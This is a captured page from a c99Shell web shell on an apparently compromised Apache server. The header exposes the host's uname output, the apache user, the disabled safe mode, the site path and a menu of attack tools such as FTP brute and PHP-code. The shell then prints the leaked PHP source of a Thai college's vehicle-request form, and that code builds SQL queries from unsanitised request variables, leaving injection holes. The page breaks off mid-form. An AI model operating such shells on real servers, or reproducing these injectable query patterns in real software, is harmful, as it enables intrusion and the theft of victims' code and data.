!c99Shell v. 1.0 pre-release build #16!

Software: Apache/2.2.3 (CentOS). PHP/5.1.6 

uname -a: Linux mx-ll-110-164-51-230.static.3bb.co.th 2.6.18-194.el5PAE #1 SMP Fri Apr 2 15:37:44
EDT 2010 i686
 

uid=48(apache) gid=48(apache) groups=48(apache) 

Safe-mode: OFF (not secure)

/var/www/html/manage/Car_depart_/   drwxr-xr-x
Free 52.81 GB of 127.8 GB (41.32%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     FrmEditDayFormCar.php (40.36 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

    session_start
();
    
    
/**  Define Validate Access  */
    
define'_VALID_ACCESS');

    
/**  Check Session User Login  */
    
if( !session_is_registered("valid_user") && !session_is_registered("Priority") ) {
        echo 
"<meta http-equiv=\"Content-Type\" content=\"text/html; charset=windows-874\" />";
        echo 
"<p style=padding-top:115px><p align=center><br /><font color=red><strong>กรุณาทำการ Login ก่อน</strong></font></p></p>";
        echo 
"<meta http-equiv=\"refresh\" content=\"1; URL=../login.php\" />";
        exit();
    } 
    else {
        
/**  Configuration  */
        
require_once( "../configuration.php" );
        require_once( 
$_Config_absolute_path "/includes/framework.php" );
        require_once( 
"../include/Function.php" );
        require_once( 
"../include/FunctionDB.php" );
        
/**  Create Database Object  */
        
$dbObj = new DBConn;

        
//=== SESSION
        
$Username $valid_user
        
        
        
/**  Config Table for This Page  */
        
$myTable1 "personal_tb";
        
$myTable2 "formcaroffice";
        
$myTable3 "project_tb";
        
$myTable4 "training_tb";
        
$myTable5 "autocar_tb";
        
          
/**  Table  -->  personal_tb  */
        
$query " SELECT *  FROM $myTable1  WHERE Teacher_code='$Teacher_code' ";
        
$result $dbObj->execQuery($query);
        
$rss $dbObj->fetchArray($result);
            
//$Teacher_code = $rss['Teacher_code'];
        
        /**  Table  -->  tech_plan_tb  */
        
$query1 " SELECT *  FROM $myTable2  WHERE   carId='$carId'    ";
        
$result1 $dbObj->execQuery($query1);
        
$rs1 $dbObj->fetchArray($result1);
        
        
/**  Table  -->  techplan_method_tb  */
        
$query2 " SELECT *  FROM $myTable3  WHERE   codeId='$codeId'     ";
        
$result2 $dbObj->execQuery($query2);
        
$rs2 $dbObj->fetchArray($result2);
        
        
/**  Table  -->  tech_spec_tb  */
        
$query5 " SELECT *  FROM $myTable5   WHERE   carId='$carId'     ";
        
$result5 $dbObj->execQuery($query5);
        
$rs5 $dbObj->fetchArray($result5);
        
        
    } 
# else
 
?>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=windows-874" />
<link href="../css/default.css" rel="stylesheet" type="text/css" />
<script language="javascript" src="../js/utilities.js"></script>
<title>MIS-การขอใช้รถยนต์</title>
<style type="text/css">
<!--
.style22 {font-size: 14px; font-weight: bold; }
.style11 {font-size: 14px;
    font-family: Tahoma;
}
-->
</style>
</head>

<body topmargin="0" rightmargin="0" bottommargin="0" leftmargin="0">
<?php
    
include("../templates/incHeader.php");
?>
<table width="1003" border="0" cellspacing="0" cellpadding="0">
  <tr>
    <td width="203" align="left" valign="top" style="padding:10px 0px 0px 5px"><?php include("./_incMainMenu.php");?></td>
    <td width="800" height="440" align="center" valign="top" style="padding:10px 0px 5px 10px"><fieldset>
     <table width="783" border="0" cellspacing="0" cellpadding="0">
      <form id="pc" name="pc" method="post" action="EditDayFromCar.php?Teacher_code=<?=$Teacher_code;?>&carId=<?=$carId;?>">
      <tr>
        <td width="734" height="5"></td>
      </tr>
      <tr>
        <td height="30" background="../images/background/bg-head-topic-w780.gif" class="PADDING-LEFT-10"><strong><a href="index.php">หน้าหลัก</a></strong> <strong>&raquo; <a href="PersonalFrom.php">แบบฟอร์ราชการ</a> &raquo; <span class="NOTE">ปรับวันที่ขอใช้รถยนต์ของทางราชการ</span></strong></td>
        </tr>
      <tr>
        <td>&nbsp;</td>
      </tr>
      <tr>
        <td><span class="PADDING-TOP-10"><img src="../images/icons/arrow-circle-225-left.png" width="16" height="16" border="0" align="absmiddle" /> <a href="javascript:;" onclick="window.history.back();"><strong>&lsaquo; ย้อนกลับ</strong></a></span></td>
      </tr>
      <tr>
        <td align="center">
        <?php

        ?>
        <table width="758" border="0" align="center" cellpadding="0" cellspacing="3">
              <tr height="31">
                <td height="31" colspan="6" align="center" class="PATRON11">ใบขออนุมัติใช้รถยนต์ของทางราชการ</td>
                </tr>
              <tr height="29">
                <td height="16" colspan="6">&nbsp;</td>
              </tr>
              <tr height="29">
                <td height="18" colspan="6">ส่วนราชการ <font size="2" face="Tahoma">
                  <?php
         $collegeCode 
=  $rss["collegeCode"];
         
$sql "Select * From  college Where collegeStatus ='1'";
          
$result1 mysql_query($sql) or die("Error".mysql_error());
          
$rs2 mysql_fetch_array($result1);
          echo 
"$rs2[collegeName] ";
         
?>
                </font></td>
                <input name="Teacher_code" type="hidden" id="Teacher_code" value="<? echo $rss["Teacher_code"]?>" />
              </tr>
              <tr height="29">
                <td height="29" colspan="6" align="center">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <span class="style1">วันที่
                  <select name="mDate" id="mDate" class="select" >
                    <?php
           $Date 
$rs1[Date];
           
$yearthai explode("-",$Date);
           
$mDate =   intval($yearthai[2]);
           
$mMonth =  intval($yearthai[1]);
           
$mYear =   intval($yearthai[0]);
            for(
$i=0;$i<=31;$i++)
             {  
            if( 
$i == 0)
               echo
"\n\t<option value=\"$mDate\" selected>$mDate</option>\n ";
             else
               echo
"\n\t<option value=\"$i\">$i</option>\n ";
              }
                 
//    getDay1to31();
           
?>
                  </select>
เดือน
<select name="mMonth" id="mMonth" class="select" >
  <?php
          $Date 
$rs1[Date];
           
$yearthai explode("-",$Date);
           
$mDate=   intval($yearthai[2]);
           
$Month =  intval($yearthai[1]);
           
$mYear =   intval($yearthai[0]);     
           
$mMonth $Month;
          
$CMonth TxtThaiMonth($Month);
           for(
$i=-1;$i<=11;$i++)
              {
             
$a $i+1;
                if( 
$a == 0)
                  echo
"\n\t<option value=\"$mMonth\" selected>$CMonth</option>\n ";
             else
                  echo
"\n\t<option value=\"$a\">$ThaiMonth[$i]</option>\n ";
              }
                 
// getThaiMonth();
          
?>
</select>
</font><font color="#0000FF" size="2" face="Tahoma">&nbsp; </font><font color="#000000" size="2" face="Tahoma">ปี ค.ศ.</font><font color="#0000FF" size="2" face="Tahoma">
<input name="mYear" type="text" id="mYear" style="BORDER-RIGHT: 0px; BORDER-TOP: 0px; BORDER-LEFT: 0px; BORDER-BOTTOM: black 1px dashed" value="<? echo $mYear ?>" size="4" maxlength="4" />
</font></td>
              </tr>
              <tr height="29">
                <td height="23" colspan="3" align="left">เลขที่ <font size="2" face="Tahoma">
                <input name="CarNo" type="hidden" id="CarNo" value="<?  echo $rs1['CarNo']; ?>"  />
                <? echo $rs1['CarNo']; ?></font></td>
                <td></td>
                <td></td>
                <td></td>
              </tr>
              <tr height="29">
                <td height="23" colspan="3" align="left">เรื่อง  <font color="#0000FF" size="2" face="Tahoma">
                  <input name="Da " type="text" id="Da " style="BORDER-RIGHT: 0px; BORDER-TOP: 0px; BORDER-LEFT: 0px; BORDER-BOTTOM: black 1px dashed" value="ขอใช้รถยนต์ราชการ" size="20" />
                </font></td>
                <td width="31"></td>
                <td width="257"></td>
                <td width="85"></td>
              </tr>
              <tr height="29">
                <td height="29" colspan="5" align="left">เรียน &nbsp; ผู้อำนวยการ <font size="2" face="Tahoma">
                  <?php
         $collegeCode 
=  $rss["collegeCode"];
         
$sql "Select * From  college Where collegeStatus ='1'";
          
$result1 mysql_query($sql) or die("Error".mysql_error());
          
$rs2 mysql_fetch_array($result1);
          echo 
"$rs2[collegeName] ";
         
?>
                </font></td>
                <td>
                <?
                
/**  Table  -->  personal_tb  */
        //$query = " SELECT *  FROM $myTable1  WHERE Teacher_code='$Teacher_code' ";
        //$result = $dbObj->execQuery($query);
    //    $rss = $dbObj->fetchArray($result);
            
$Teacher_code $rss['Teacher_code'];
        
?>
                </td>
              </tr>
              <tr height="29">
                <td width="108" height="25"></td>
                <td colspan="5" align="left">ข้าพเจ้า<font color="#0000FF" size="2" face="Tahoma">
                <input name="Name" type="text" id="Name" style="BORDER-RIGHT: 0px; BORDER-TOP: 0px; BORDER-LEFT: 0px; BORDER-BOTTOM: black 1px dashed" size="30"  value="<? echo $rss[First_name]?> <? echo $rss[Teacher_name]?>&nbsp;<? echo $rss[Teacher_lastname]?> " />
                </font> ตำแหน่ง.<font color="#0000FF" size="2" face="Tahoma">
                <input name="Name2" type="text" id="Name2" style="BORDER-RIGHT: 0px; BORDER-TOP: 0px; BORDER-LEFT: 0px; BORDER-BOTTOM: black 1px dashed" size="20"  value=" <? $PositionId =  $rss["PositionId"];
         
$sql "Select * From  position_tb   Where   PositionId ='$PositionId'  ";
          
$result1 mysql_query($sql) or die("Error".mysql_error());
          
$rs2 mysql_fetch_array($result1);
          echo 
"$rs2[Position_name] ";?>
         " />
                </font></td>
              </tr>
              <tr height="29">
                <td height="29" colspan="6" align="left">สังกัด<font color="#0000FF" size="2" face="Tahoma">
                <input name="Name3" type="text" id="Name3" style="BORDER-RIGHT: 0px; BORDER-TOP: 0px; BORDER-LEFT: 0px; BORDER-BOTTOM: black 1px dashed" size="20"  value="<?php  $Faculty_code =  $rss["Faculty_code"];
$sql "Select * From   faculty_tb Where Faculty_code='$Faculty_code'";
 
$result1 mysql_query($sql) or die("Error".mysql_error());
 
$rs2 mysql_fetch_array($result1);
 echo 
"$rs2[Faculty_name] "?>" />
                </font><font color="#0000FF" size="2" face="Tahoma">
                <input name="Name3" type="text" id="Name4" style="BORDER-RIGHT: 0px; BORDER-TOP: 0px; BORDER-LEFT: 0px; BORDER-BOTTOM: black 1px dashed" size="40"  value="<?php
                         $collegeCode 
=  $rss["collegeCode"];
                        
$sql "Select * From college   Where collegeStatus ='1'";
                         
$result1 mysql_query($sql) or die("Error".mysql_error());
                        
$rs2 mysql_fetch_array($result1);
                         echo 
"$rs2[collegeName] "?> " />
                </font><span class="style11">สถาบันพระบรมราชชนก</span></td>
              </tr>
              <tr height="29">
                <td height="29" colspan="6" align="left"><label>ขออนุญาตไปราชการที่<font color="#0000FF" size="2" face="Tahoma">
                <input name="makeWord" type="text" id="makeWord" style="BORDER-RIGHT: 0px; BORDER-TOP: 0px; BORDER-LEFT: 0px; BORDER-BOTTOM: black 1px dashed" size="40"  value="<?=$rs1["makeWord"]; ?>"/>
                </font><font color="#0000FF" size="2" face="Tahoma">
                <input name="code" type="hidden" id="code" />
</font> <font face="Tahoma">จังหวัด</strong><font color="#003366" size="2" face="Tahoma"></font><font face="Tahoma"><font color="#003366" size="2" face="Tahoma">
<select name="provinceId" id="provinceId" style="BORDER-RIGHT: 0px; BORDER-TOP: 0px; BORDER-LEFT: 0px; BORDER-BOTTOM: black 1px dashed" >
  <?php
                       
                                $strSQL3 
" SELECT * FROM   province      ";
                                
$result3 mysql_query($strSQL3);
                                while( 
$rs3 mysql_fetch_array($result3) ) {
                            
?>
  <option value="<?=$rs3['provinceId'];?><?php if( $rs3['provinceId']==$rs1['provinceId'] ) echo 'selected'?>>
  <?=$rs3['provinceName'];?>
  </option>
  <?php
                                
# while
                            
?>
</select>
</font></font></font></label></td>
              </tr>
              <tr height="29">
                <td height="29" colspan="6" align="left">เพื่อ<font color="#0000FF" size="2" face="Tahoma">
                  <input name="Training_name" type="text" id="Training_name" style="BORDER-RIGHT: 0px; BORDER-TOP: 0px; BORDER-LEFT: 0px; BORDER-BOTTOM: black 1px dashed" size="70" value="<? echo $rs1["Training_name"]; ?>"/>
                </font><font face="Tahoma"><span class="style14">ผู้ร่วมเดินทาง </span></font><font color="#0000FF" size="2" face="Tahoma">
                <input name="Make" type="text" id="Make" style="BORDER-RIGHT: 0px; BORDER-TOP: 0px; BORDER-LEFT: 0px; BORDER-BOTTOM: black 1px dashed" size="2" value="<? echo $rs1["Make"]; ?>" />
                </font><font face="Tahoma"><span class="style14">คน</span></font></td>
              </tr>
              <tr height="29">
                <td height="29" colspan="6" align="left">หมายเหตุ<font color="#0000FF" size="2" face="Tahoma">
                <input name="Detail" type="text" id="Detail" style="BORDER-RIGHT: 0px; BORDER-TOP: 0px; BORDER-LEFT: 0px; BORDER-BOTTOM: black 1px dashed" value="<? echo $rs1["Detail"]; ?>" size="70" />
                </font></td>
              </tr>
              <tr height="29">
                <td height="29" colspan="6" align="left">ประเภทในการขอใช้รถยนต์
                  <input type="radio" name="Training_type" value="1" <? if ($rs1["Training_type"] == 1) echo "checked"?>  />
                  การอบรม
                  <input type="radio" name="Training_type" value="2" <? if ($rs1["Training_type"] == 2) echo "checked"?> />
                  การศึกษาดูงาน
                  <input type="radio" name="Training_type" value="3" <? if ($rs1["Training_type"] == 3) echo "checked"?>  />
                  ประชุม
                  <input type="radio" name="Training_type" value="4" <? if ($rs1["Training_type"] == 4) echo "checked"?> />
                  สัมมนา
                  <input type="radio" name="Training_type" value="7" <? if ($rs1["Training_type"] == 7) echo "checked"?>  />
                  วิทยากร
                  <input type="radio" name="Training_type" value="6" <? if ($rs1["Training_type"] == 6) echo "checked"?> />
                  นิเทศงาน 
                  <input type="radio" name="Training_type" value="8" <? if ($rs1["Training_type"] == 8) echo "checked"?> /> อื่นๆ</td>
              </tr>
              <tr height="29">
                <td height="29" colspan="6" align="left">สถานะการเดินทาง
                  <input name="object" type="radio" id="object" value="1"  <? if ($rs1["object"] == 1) echo "checked"?>  />
                  ค้างคืน
                  <input name="object" type="radio" id="object" value="2"   <? if ($rs1["object"] == 2) echo "checked"?> />
                  ไปกลับ
                  <input name="object" type="radio" id="object" value="3"   <? if ($rs1["object"] == 3) echo "checked"?>  />
                  ส่งอย่างเดียว </a>
                  <input name="object" type="radio" id="object" value="4"   <? if ($rs1["object"] == 4) echo "checked"?>  /> 
                  รับอย่างเดียว 
                  <input name="object" type="radio" id="object" value="5"   <? if ($rs1["object"] == 5) echo "checked"?>  />
                  รับส่ง 
ปีงบประมาณ</a>*</a>
                  <input name="Budget_year" type="text" id="Budget_year" style="BORDER-RIGHT: 0px; BORDER-TOP: 0px; BORDER-LEFT: 0px; BORDER-BOTTOM: black 1px dashed" value="<? echo $rs1[Budget_year]; ?>" size="4" maxlength="4" />
                  </font></td>
              </tr>
              <tr height="29">
                <td height="29" colspan="6" align="left"><input name="PersonIn" type="checkbox" id="PersonIn" value="รับวิทยากร" <?php if($rs1["PersonIn"] == "รับวิทยากร" ) echo 'checked'?> onclick="checkAssign1(this,myForm.PersonIy)" />
รับวิทยากร ชื่อ </a>
<input name="Personly" type="text" id="Personly" style="BORDER-RIGHT: 0px; BORDER-TOP: 0px; BORDER-LEFT: 0px; BORDER-BOTTOM: black 1px dashed" value="<?=$rs1['Personly'];?>" size="35"   />
เวลารับ </a>
<input name="Time_startName" type="text" id="Time_startName" style="BORDER-RIGHT: 0px; BORDER-TOP: 0px; BORDER-LEFT: 0px; BORDER-BOTTOM: black 1px dashed" onkeypress="return checkNumeric();" value="<?=$rs1['Time_startName'];?>" size="5" maxlength="5" />
น. เวลาส่ง
<input name="Time_finishName" type="text" id="Time_finishName" style="BORDER-RIGHT: 0px; BORDER-TOP: 0px; BORDER-LEFT: 0px; BORDER-BOTTOM: black 1px dashed" onkeypress="return checkNumeric();" value="<?=$rs1['Time_finishName'];?>" size="5" maxlength="5" />
น. </a></font></font></td>
                <input name="ProjectId" type="hidden" id="ProjectId" />
              </tr>
              <tr height="29">
                <td height="29" colspan="6" align="left">สถานที่<font color="#0000FF" size="2" face="Tahoma">
                  <input name="Place" type="text" id="Place" style="BORDER-RIGHT: 0px; BORDER-TOP: 0px; BORDER-LEFT: 0px; BORDER-BOTTOM: black 1px dashed" value="<? echo $rs1["Place"]; ?>" size="50" />
                  </font> โทรศัพท์<font color="#0000FF" size="2" face="Tahoma">
                    <input name="TelNo" type="text" id="TelNo" style="BORDER-RIGHT: 0px; BORDER-TOP: 0px; BORDER-LEFT: 0px; BORDER-BOTTOM: black 1px dashed" size="10" maxlength="9"  value="<? echo $rs1["TelNo"]; ?>" />
                    </font></td>
              </tr>
              <tr height="29">
                <td height="29" colspan="6" align="left">อ้างการขอในระหว่างวันที่<font color="#000000">
                  <select name="mDate2" id="mDate2" class="select" >
                    <?php
           $Date 
$rs1[Date_start];
           
$yearthai explode("-",$Date);
           
$mDate =   intval($yearthai[2]);
           
$mMonth =  intval($yearthai[1]);
           
$mYear =   intval($yearthai[0]);
            for(
$i=0;$i<=31;$i++)
             {  
            if( 
$i == 0)
               echo
"\n\t<option value=\"$mDate\" selected>$mDate</option>\n ";
             else
               echo
"\n\t<option value=\"$i\">$i</option>\n ";
              }
                 
//    getDay1to31();
           
?>
                  </select>
                  เดือน 
  <select name="mMonth2" id="mMonth2" class="select" >
    <?php
          $Date 
$rs1[Date_start];
           
$yearthai explode("-",$Date);
           
$mDate=   intval($yearthai[2]);
           
$Month =  intval($yearthai[1]);
           
$mYear =   intval($yearthai[0]);     
           
$mMonth $Month;
          
$CMonth TxtThaiMonth($Month);
           for(
$i=-1;$i<=11;$i++)
              {
             
$a $i+1;
                if( 
$a == 0)
                  echo
"\n\t<option value=\"$mMonth\" selected>$CMonth</option>\n ";
             else
                  echo
"\n\t<option value=\"$a\">$ThaiMonth[$i]</option>\n ";
              }
                 
// getThaiMonth();
          
?>
  </select>
                  </font><font color="#0000FF" size="2" face="Tahoma">&nbsp;
                    </font><font color="#000000" size="2" face="Tahoma">ปี ค.ศ.</font><font color="#0000FF" size="2" face="Tahoma">
                      <input name="mYear2" type="text" id="mYear2" style="BORDER-RIGHT: 0px; BORDER-TOP: 0px; BORDER-LEFT: 0px; BORDER-BOTTOM: black 1px dashed" value="<? echo $mYear ?>" size="4" maxlength="4" />
                      
                      </font><font color="#000000">&nbsp; </font> ถึงวันที่
                  <select name="mDate3" id="mDate3" class="select" >
                    <?php
           $Date 
$rs1[Date_finish];
           
$yearthai explode("-",$Date);
           
$mDate =   intval($yearthai[2]);
           
$mMonth =  intval($yearthai[1]);
           
$mYear =   intval($yearthai[0]);
            for(
$i=0;$i<=31;$i++)
             {  
            if( 
$i == 0)
               echo
"\n\t<option value=\"$mDate\" selected>$mDate</option>\n ";
             else
               echo
"\n\t<option value=\"$i\">$i</option>\n ";
              }
                 
//    getDay1to31();
           
?>
                    </select>
                  เดือน 
  <select name="mMonth3" id="mMonth3" class="select" >
    <?php
          $Date 
$rs1[Date_finish];
           
$yearthai explode("-",$Date);
           
$mDate=   intval($yearthai[2]);
           
$Month =  intval($yearthai[1]);
           
$mYear =   intval($yearthai[0]);     
           
$mMonth $Month;
          
$CMonth TxtThaiMonth($Month);
           for(
$i=-1;$i<=11;$i++)
              {
             
$a $i+1;
                if( 
$a == 0)
                  echo
"\n\t<option value=\"$mMonth\" selected>$CMonth</option>\n ";
             else
                  echo
"\n\t<option value=\"$a\">$ThaiMonth[$i]</option>\n ";
              }
                 
// getThaiMonth();
          
?>
  </select>
                  </font><font color="#0000FF" size="2" face="Tahoma">&nbsp;
                    </font><font color="#000000" size="2" face="Tahoma">ปี ค.ศ.</font><font color="#0000FF" size="2" face="Tahoma">
                      <input name="mYear3" type="text" id="mYear3" style="BORDER-RIGHT: 0px; BORDER-TOP: 0px; BORDER-LEFT: 0px; BORDER-BOTTOM: black 1px dashed" value="<? echo $mYear ?>" size="4" maxlength="4" />
                      
                      </font></td>
              </tr>
              <tr height="29">
                <td height="29" colspan="6" align="left">โดย
                  <label>
                    <input type="radio" name="usecar" value="1"  <? if ($rs1["usecar"] == 1) echo "checked"?> />
                  </label>
ใช้ พขร&nbsp;
<label>
  <input type="radio" name="usecar" value="0" <? if ($rs1["usecar"] == 2) echo "checked"?>/>
</label>
ไม่ใช้ พขร วันที่ * ขอใช้<font color="#000000">&nbsp;
<select name="mDate5" id="mDate5" class="select" >
  <?php
           $Date 
$rs1[DateCar];
           
$yearthai explode("-",$Date);
           
$mDate =   intval($yearthai[2]);
           
$mMonth =  intval($yearthai[1]);
           
$mYear =   intval($yearthai[0]);
            for(
$i=0;$i<=31;$i++)
             {  
            if( 
$i == 0)
               echo
"\n\t<option value=\"$mDate\" selected>$mDate</option>\n ";
             else
               echo
"\n\t<option value=\"$i\">$i</option>\n ";
              }
                 
//    getDay1to31();
           
?>
</select>
เดือน
<select name="mMonth5" id="mMonth5" class="select" >
  <?php
          $Date 
$rs1[DateCar];
           
$yearthai explode("-",$Date);
           
$mDate=   intval($yearthai[2]);
           
$Month =  intval($yearthai[1]);
           
$mYear =   intval($yearthai[0]);     
           
$mMonth $Month;
          
$CMonth TxtThaiMonth($Month);
           for(
$i=-1;$i<=11;$i++)
              {
             
$a $i+1;
                if( 
$a == 0)
                  echo
"\n\t<option value=\"$mMonth\" selected>$CMonth</option>\n ";
             else
                  echo
"\n\t<option value=\"$a\">$ThaiMonth[$i]</option>\n ";
              }
                 
// getThaiMonth();
          
?>
</select>
ปี ค.ศ.</font><font color="#0000FF" size="2" face="Tahoma">
<input name="mYear5" type="text" id="mYear5" style="BORDER-RIGHT: 0px; BORDER-TOP: 0px; BORDER-LEFT: 0px; BORDER-BOTTOM: black 1px dashed" value="<? echo $mYear ?>" size="4" maxlength="4" />
</font>ตั้งแต่เวลา<font color="#0000FF" size="2" face="Tahoma">
<input name="Time_start" type="text" id="Time_start" style="BORDER-RIGHT: 0px; BORDER-TOP: 0px; BORDER-LEFT: 0px; BORDER-BOTTOM: black 1px dashed"  value="<?=$rs1['Time_start'];?>" size="4" maxlength="8"/>
</font>น.ถึงเวลา <font color="#0000FF" size="2" face="Tahoma">
<input name="Time_finish" type="text" id="Time_finish" style="BORDER-RIGHT: 0px; BORDER-TOP: 0px; BORDER-LEFT: 0px; BORDER-BOTTOM: black 1px dashed" value="<?=$rs1['Time_finish'];?>" size="4" maxlength="5"/>
</font>น. </td>
              </tr>
              <tr height="29">
                <td height="29" colspan="6" align="left"><font color="#000000">
                 ** วันที่แก้ไข 
                     <select name="mDate4" id="mDate4" class="select" >
                    <?php
           $Date 
$rs1[Date_start];
           
$yearthai explode("-",$Date);
           
$mDate =   intval($yearthai[2]);
           
$mMonth =  intval($yearthai[1]);
           
$mYear =   intval($yearthai[0]);
            for(
$i=0;$i<=31;$i++)
             {  
            if( 
$i == 0)
               echo
"\n\t<option value=\"$mDate\" selected>$mDate</option>\n ";
             else
               echo
"\n\t<option value=\"$i\">$i</option>\n ";
              }
                 
//    getDay1to31();
           
?>
                  </select>
เดือน
<select name="mMonth4" id="mMonth4" class="select" >
  <?php
          $Date 
$rs1[Date_start];
           
$yearthai explode("-",$Date);
           
$mDate=   intval($yearthai[2]);
           
$Month =  intval($yearthai[1]);
           
$mYear =   intval($yearthai[0]);     
           
$mMonth $Month;
          
$CMonth TxtThaiMonth($Month);
           for(
$i=-1;$i<=11;$i++)
              {
             
$a $i+1;
                if( 
$a == 0)
                  echo
"\n\t<option value=\"$mMonth\" selected>$CMonth</option>\n ";
             else
                  echo
"\n\t<option value=\"$a\">$ThaiMonth[$i]</option>\n ";
              }
                 
// getThaiMonth();
          
?>
</select>
ปี ค.ศ.</font><font color="#0000FF" size="2" face="Tahoma">
<input name="mYear4" type="text" id="mYear4" style="BORDER-RIGHT: 0px; BORDER-TOP: 0px; BORDER-LEFT: 0px; BORDER-BOTTOM: black 1px dashed" value="<? echo $mYear ?>" size="4" maxlength="4" />
</font></td>
              </tr>
              <tr height="29">
                <td height="29" colspan="6" align="left">สำหรับผู้จัดรถยนต์</td>
              </tr>
              <tr height="29">
                <td height="29" colspan="6" align="left">ให้ใช้รถยนต์<font size="2" face="Tahoma"><strong><font color="#003366" size="2" face="Tahoma"></font><font size="2" face="Tahoma"><strong><font color="#003366" size="2" face="Tahoma">
                  <select name="CarmoId" id="CarmoId">
                  <option value=""></option>
                    <?php
                                
                                $strSQL3 
" SELECT * FROM   automobile_tb  ";
                                
$result3 mysql_query($strSQL3);
                                while( 
$rs3 mysql_fetch_array($result3) ) {
                            
?>
                    <option value="<?=$rs3['CarmoId'];?>"<?php if( $rs3['CarmoId']==$rs1['CarmoId'] ) echo 'selected'?> >
                      <?=$rs3['Acc_name'];?>
  &nbsp;&nbsp;
  <?=$rs3['Kind'];?>
  &nbsp;ทะเบียน &nbsp;
  <?=$rs3['CodeNo'];?>
                      </option>
                    <?php
                                
# while
                                     
mysql_free_result($result3);
                            
?>
                  </select>
                </font></strong></font></strong></font></td>
              </tr>
              <tr height="29">
                <td height="24" colspan="2" align="right">พนักงานขับรถคนที่ 1 &nbsp;</td>
                <td width="165"><font size="2" face="Tahoma"><strong><font color="#003366" size="2" face="Tahoma">
                  <select name="name1" id="name1">
                    <option value=""></option>
                    <?php
                  $sql4 
" SELECT *  FROM personal_tb    WHERE   PositionId='6' ";
                  
$result4 mysql_query($sql4);
                  while( 
$rs4 mysql_fetch_array($result4) ) {
                
?>
                    <option value="<?=$rs4['Teacher_code'];?><?php if( $rs4['Teacher_code']==$rs1['name1'] ) echo 'selected';?>>
                      <?=$rs4['First_name'];?>
                      <?=$rs4['Teacher_name'];?>
                      &nbsp;
                      <?=$rs4['Teacher_lastname'];?>
                      </option>
                    <?php
                
# while
                  
mysql_free_result($result1);
              
?>
                  </select>
                </font></strong></font></td>
                <td></td>
                <td></td>
                <td></td>
              </tr>
              <tr height="31">
                <td height="31" colspan="2" align="right">พนักงานขับรถคนที่ 2 &nbsp;</td>
                <td><font size="2" face="Tahoma"><strong><font color="#003366" size="2" face="Tahoma">
                  <select name="name2" id="name2">
                    <option value=""></option>
                    <?php
                  $sql4 
" SELECT *  FROM personal_tb    WHERE   PositionId='6' ";
                  
$result4 mysql_query($sql4);
                  while( 
$rs4 mysql_fetch_array($result4) ) {
                
?>
                    <option value="<?=$rs4['Teacher_code'];?><?php if( $rs4['Teacher_code']==$rs1['name2'] ) echo 'selected';?>>
                      <?=$rs4['First_name'];?>
                      <?=$rs4['Teacher_name'];?>
  &nbsp;
  <?=$rs4['Teacher_lastname'];?>
                      </option>
                    <?php
                
# while
                  
mysql_free_result($result1);
              
?>
                  </select>
                </font></strong></font></td>
                <td colspan="3" align="left">                </td>
              </tr>
              <tr height="29">
                <td height="29" colspan="6" align="right"><span class="PADDING-LEFT-10"><font size="2" face="Tahoma" ><a href="javascript:;" onclick="NewWindow('AddOil.php?carId=<?php echo $rs1['carId']; ?>','Detail','scrollbars=yes,width=600,height=300')"><img src="../picture/new.gif" alt="เพิ่มรายการเอกสาร" width="16" height="16" border="0" /></a></font><font color="#000000">&nbsp;&nbsp;<span class="style22"> เพิ่มรายการใช้น้ำมันและเลขวัดระยะที่หน้าปัทม์  <font size="2" face="Tahoma" >&nbsp;&nbsp;&nbsp;<a href="javascript:;" onclick="NewWindow('FrmOil.php?carId=<?php echo $rs1['carId']; ?>','Detail','scrollbars=yes,width=600,height=300')"><img src="../picture/editnew.gif" alt="แก้ไขรายการเอกสาร" width="16" height="16" border="0" /></a></font><font color="#000000">&nbsp;&nbsp; แก้ไขรายการใช้น้ำมันและเลขวัดระยะที่หน้าปัทม์</font></span></font></span></td>
              </tr>
              <tr height="29">
                <td height="29" colspan="6" align="left">เลขวัดระยะที่หน้าปัทม์ <font color="#0000FF" size="2" face="Tahoma">
                  <input name="Mile_start" type="text" id="Mile_start" style="BORDER-RIGHT: 0px; BORDER-TOP: 0px; BORDER-LEFT: 0px; BORDER-BOTTOM: black 1px dashed"  value="<?=$rs5['Mile_start'];?>" size="10"/>
                  </font>ถึงเลขวัดระยะที่หน้าปัทม์ <font color="#0000FF" size="2" face="Tahoma">
                    <input name="Mile_finish" type="text" id="Mile_finish" style="BORDER-RIGHT: 0px; BORDER-TOP: 0px; BORDER-LEFT: 0px; BORDER-BOTTOM: black 1px dashed"  value="<?=$rs5['Mile_finish'];?>" size="10"/>
                  
                  </font>จำนวนระยะกิโลเมตร<font color="#0000FF" size="2" face="Tahoma">
                  <input name="#" type="text" id="#" style="BORDER-RIGHT: 0px; BORDER-TOP: 0px; BORDER-LEFT: 0px; BORDER-BOTTOM: black 1px dashed"  value="<?=$rs5['Num_Mile'];?>" size="3"  disabled="disabled" />
                  </font></td>
                </tr>
              <tr height="29">
                <td height="29" colspan="5" align="left">เที่ยวไป (เติมน้ำมัน )<font color="#000000" size="2" face="Tahoma">
                  <input name="Lish_start" type="text" id="Lish_start" style="BORDER-RIGHT: 0px; BORDER-TOP: 0px; BORDER-LEFT: 0px; BORDER-BOTTOM: black 1px dashed"  value="<?=$rs5['Lish_start'];?>" size="5"/>
                  ลิตร จำนวนเงิน 
                  <input name="Price_start" type="text" id="Price_start" style="BORDER-RIGHT: 0px; BORDER-TOP: 0px; BORDER-LEFT: 0px; BORDER-BOTTOM: black 1px dashed"  value="<?=$rs5['Price_start'];?>" size="5"/> 
                  บาท 
                  เลขวัดระยะที่หน้าปัทม
                  <input name="Num_start" type="text" id="Num_start" style="BORDER-RIGHT: 0px; BORDER-TOP: 0px; BORDER-LEFT: 0px; BORDER-BOTTOM: black 1px dashed"  value="<?=$rs5['Num_start'];?>" size="10"/>
                </font></td>
                <td></td>
              </tr>
              <tr height="29">
